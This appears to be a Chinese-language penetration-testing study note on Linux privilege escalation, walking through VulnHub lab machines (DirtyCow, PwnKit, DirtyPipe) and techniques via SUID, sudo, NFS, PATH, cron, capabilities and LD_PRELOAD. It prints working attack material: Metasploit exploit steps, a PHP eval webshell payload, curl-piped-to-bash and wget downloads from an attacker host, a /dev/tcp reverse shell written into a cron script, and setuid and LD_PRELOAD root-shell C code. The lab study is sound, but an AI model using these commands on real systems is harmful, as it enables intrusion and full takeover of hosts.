权限提升

Linux权限提升

1. 内核提权

相关命令及脚本

  • 信息收集
//查看当前主机的操作系统:
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
//查看当前主机的内核版本:
uname -a
uname -r
hostnamectl
cat /proc/version
dmesg | grep "Linux version"
  • 内核漏洞筛选
//提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester(常用 ./sh文件)
https://github.com/jondonas/linux-exploit-suggester-2(pl文件)
https://github.com/belane/linux-soft-exploit-suggester(py文件)
//综合脚本:
https://github.com/carlospolop/PEASS-ng # 前面 htb 靶场用过
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
  • MSF

    MSF(Metasploit Framework) 是一款非常流行的开源渗透测试框架,提供了大量的工具和模块,用于发现漏洞、开发攻击载荷(payload)、漏洞利用(exploit)、后渗透攻击等,是网络安全领域的强大工具。

//基础命令:
msfconsole # 进入框架
search ms17_010 # 查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 进入模块
info # 查看模块信息
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷
show options # 查看模块需要配置的参数
set RHOST 192.168.100.158 # 设置参数
exploit / run # 攻击

实例演示 - dirtycow(CVE-2016-5159)

https://www.vulnhub.com/entry/lampiao-1,249/

  • 信息收集
nmap -p- -sV 192.168.46.0/24   

先用浏览器访问 http://192.168.46.136 ,没发现有用信息:

然后访问 1898 端口:

通过搜索,得知该 CMS 目前有被公开的漏洞,接下来就是漏洞利用阶段。

其它环境如果没有明显信息,要想到用 Wappalyzer 搜集信息。

  • Web漏洞利用-MSF对CMS已公开漏洞的利用
  1. 输入命令msfconsole ,打开msf框架。
  2. 输入search drupal 搜索相关漏洞:

发现个可以利用的漏洞:Drupalgeddon 2 通过 Forms API 属性注入漏洞,攻击者可以在无需身份验证的情况下,直接远程执行任意代码。

  1. 使用该漏洞利用模块:
use exploit/unix/webapp/drupal_drupalgeddon2
show options #查看 payload 需要配置的信息

设置目标 ip 地址及端口:

set rhost 192.168.46.136
set rport 1898
run

成功获得 Web 权限:

Meterpreter 是 MSF 的一种高级动态扩展payload,用于远程访问和控制受害者主机。它以稳定性和隐蔽性而闻名,并提供了一系列强大的功能。

  1. 升级临时shell:

首先输入shell起一个终端,然后利用 htb 靶场用过的升级shell的命令:

SHELL=/bin/bash script -q /dev/null
stty raw -echo
reset
xterm

或者利用 Python 升级shell:

python -c 'import pty; pty.spawn("/bin/bash")'
  • 内核提权

Linux 提权-内核利用 - 扛枪的书生 - 博客园

首先信息收集:

利用提权脚本。这里我们还是使用 htb 靶场用过的 linPEAs 自动查找内核漏洞。

在 linpeas.sh 所在目录起一个 http.server,方便目标机器下载:

让目标主机获取 linpeas.sh,并将通过管道传输到 bash 直接执行它:

curl http://192.168.46.131:8000/linpeas.sh | bash

检测到目标主机极易受到脏牛漏洞的攻击,并且给出了 exp 的下载地址(exp要多找多试,每个人写的功能不一样,这里给出的就不合适):

用这个exp : https://github.com/gbonacini/CVE-2016-5195 ,它将强制修改 root 密码为 “dirtyCowFun” 。

相同操作让目标主机获取 dcow.cpp:

wget http://192.168.46.131:8000/dcow.cpp

编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
//实战中如果在目标服务器上编译失败,可能是对方服务器没有g++环境,可以本地找个差不多的系统环境编译好后再上传上去。但是优先在目标服务器上进行编译

执行生成的可执行文件:

提权成功:

实例演示 - Pwnkit(CVE-2021-4034)

https://www.vulnhub.com/entry/darkhole-1,724/

  • 信息收集
nmap -sC 192.168.46.0/24   

  • Web 漏洞利用-逻辑漏洞及文件上传漏洞

访问 http://192.168.46.137 ,注册个账号,登录:

提供的是修改密码的功能,url 处有个 get 参数 id=2,将其修改为 1 试试:

抓个包,看到两个 post 参数:

那么把 id 改为1是不是就能修改管理员密码了?

成功登录管理员账号:

接下来就是考察文件上传漏洞了。

后端语言是 PHP:

哥斯拉生成个shell:

有黑名单限制,fuzz 之后发现可以将后缀名改为 phtml 绕过。

连接后门:

虽然哥斯拉有命令执行功能,可以直接上传脚本,但是执行后的响应不太好看。最好还是利用哥斯拉的PMeterpreter 模块反弹 shell 到 msf:

反弹成功:

  • 内核提权

步骤和上一个实例相同,详细文字就不写了,直接放图片:

wget http://192.168.46.131:8000/CVE-2021-4034-main.zip 
unzip CVE-2021-4034-main.zip
make
./cve-2021-4034

但是进行到一步的时候,发现目标系统没有这个工具,安装又需要 root 权限,只能换个 exp:
https://github.com/arthepsy/CVE-2021-4034

wget http://192.168.46.131:8000/cve-2021-4034-poc.c 
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc

实例演示 - DirtyPipe(CVE-2022-0847)

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

  • 信息收集

  • Web漏洞利用-敏感文件和后门


扫目录看看有没有敏感文件:

gobuster dir -u http://192.168.139.138 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

找到个能操作的页面:

抓包分析一下:

输入的内容被写进 txt 文件里了:

那么可以把这两个参数改成木马和后门文件:

message=<?php eval($_POST["pass"]);?>&file=shell.php

wget http://192.168.46.131:8000/dirtypipez.c 
gcc dirtypipez.c -o dirtypipez
./dirtypipez

提示 Usage: ./dirtypipez SUID

常见的 SUID 文件包括 /bin/su/usr/bin/passwd,这些是提权的潜在目标。

2. 根据 Linux 特性提权

SUID&SUDO

SUID 是一种文件权限设置。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。之前的 HTB-Oopsie 靶场就是利用 SUID 特性提权。

find / -perm -u=s -type f 2>/dev/null  # 查找拥有 SUID 权限的文件

SUDO 权限是 root 把本来只能超级用户执行的命令赋予普通用户执行。SUDO有两个CVE漏洞(CVE-2019-14287,CVE-2021-3156)。

cat /etc/sudoers    # 查看哪些用户或用户组可以使用 sudo 命令
sudo -l # 列出当前用户在使用 sudo 时的权限。

通俗来讲就是当 root 用户赋予一个文件 SUID、SUDO 权限时,这个文件被调用的时候就会享有 root 权限。具体如何利用可以在这个项目里查找对应二进制文件的命令: GTFOBins。例如利用 find 提权:

/usr/bin/find . -exec '/bin/sh' \;  

NFS

NFS是一种网络文件共享协议,用于访问远程服务器中的共享资源,默认端口 2049,原生支持类 UNIX/Linux 系统。前面 HTB 靶场遇到过 SMB 协议,也是网络文件共享协议,默认端口 445,原生支持 Windows 系统。

showmount -e 192.168.1.6   # 显示 NFS 服务器的共享信息
mkdir nfs # 本地创建一个 nfs 目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs # 把目标的 /mnt/nfs 目录跟本地的 nfs 目录进行同步

既然文件能够同步,那么就可以配合 SUID 提权,例如把本地具有 SUID 权限的 find 上传到共享目录:

但如果双方系统不同,则会报错。解决办法是找一个与目标版本相似的系统,上传这个系统的find,或者自己写一个c语言去调用命令:

// getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0); # root用户:UID为0,系统用户:UID(0-999),普通用户:UID(1000-*)
system("id");
system("/bin/bash");
}

//把getroot.c编译为getroot可执行文件
gcc getroot.c -o getroot

PATH 变量

参考 HTB-Oopsie 靶场。在执行具有 SUID 权限的/usr/bin/bugtracker 时,发现它会使用 cat 命令,于是插入我们自己构造的 cat 命令,赋予执行权限并将其添加到环境变量中,这样 cat 命令就会以 root 身份执行。

下例相同:

strings查看具有 SUID 权限的二进制文件,发现里面有 curl 命令。于是在 /tmp 下新建一个 curl 文件,执行 /bin/sh:

Cron 计划任务

Cron 是 Linux 系统中用于定期执行任务的守护进程。

cat /etc/crontab //查看当前服务器的计划任务

ls -l /etc/script/CleaningScript.sh  //查看对该任务文件的权限

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh   # 把反弹shell命令写进这个文件里

cat /etc/script/CleaningScript.sh # 查看脚本内容

Capabilities

在 Linux 中,传统的权限管理是基于用户和组的(例如,root用户拥有所有权限),而 Capabilities 机制的引入,将权限分解为多个独立的“能力”,每个能力代表操作系统中特定的权限。每个进程拥有一组“能力”,这些能力决定了它能够执行的操作,而无需赋予进程 root 用户的所有权限。

当拿到权限后要先看下有哪些程序有能力,再对这些能力进行筛选利用。在之前的 HTB-Cap 靶场中,/usr/bin/python3.8 拥有 cap_setuid 权限,因此可以切换到 root 身份。

[!NOTE] cap_setuid

  • 文件 cap_setuid 的 capabilities 和文件的 suid 标志位之间是没有关系的。
  • 设置了 cap_setuid 的 capability 的文件并没有设置 suid。
  • 设置了 suid 的程序也不拥有 cap_setuid 的 capability。
getcap -r / 2>/dev/null   //查看所有Capabilities

LD_Preload

LD_Preload 是 Linux 系统中的一个环境变量,它允许用户在运行一个程序时,指定额外的共享库(动态链接库)。这些共享库会在程序启动时首先被加载,并覆盖程序原本需要使用的库。

利用 LD_Preload 在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。

打开/etc/sudoers文件:

Defaults        env_keep += LD_PRELOAD       # 设置开启LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find # 赋予一个用户一些sudo权限

一旦这样设置就会有两个安全问题:sudo提权和 LD_Preload 提权。

在/tmp目录中生成一个 shell.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles  //编译这个shell.c文件为shell.so文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find //让find在执行的时候绑定编译好的so文件

类似于 Windows dll劫持,linux是执行so文件,Windows是执行dll文件。

Windows权限提升

工具提权

MSF、CS

windows权限提升-WIN提权 - FreeBuf网络安全行业门户

权限提升-Windows权限提升篇&溢出漏洞&宝塔面板Bypass&CS插件化&MSF模块化_windows权限提升-溢出漏洞-宝塔面板-bypass-cs插件化-msf模块化-CSDN博客

DAY136权限提升-Win系统权限提升篇&计算机管理用户&进程注入&令牌窃取&服务启动&远程控制-CSDN博客

人工提权

优点:解决工具或插件无法实时更新的EXP。
缺点:操作繁琐,需要各种复现调试。

【内网攻防】权限提升-土豆提权大汇总

权限提升-Windows权限提升篇&溢出漏洞&土豆家族&通杀全系&补丁对比&EXP筛选_土豆系列提权-CSDN博客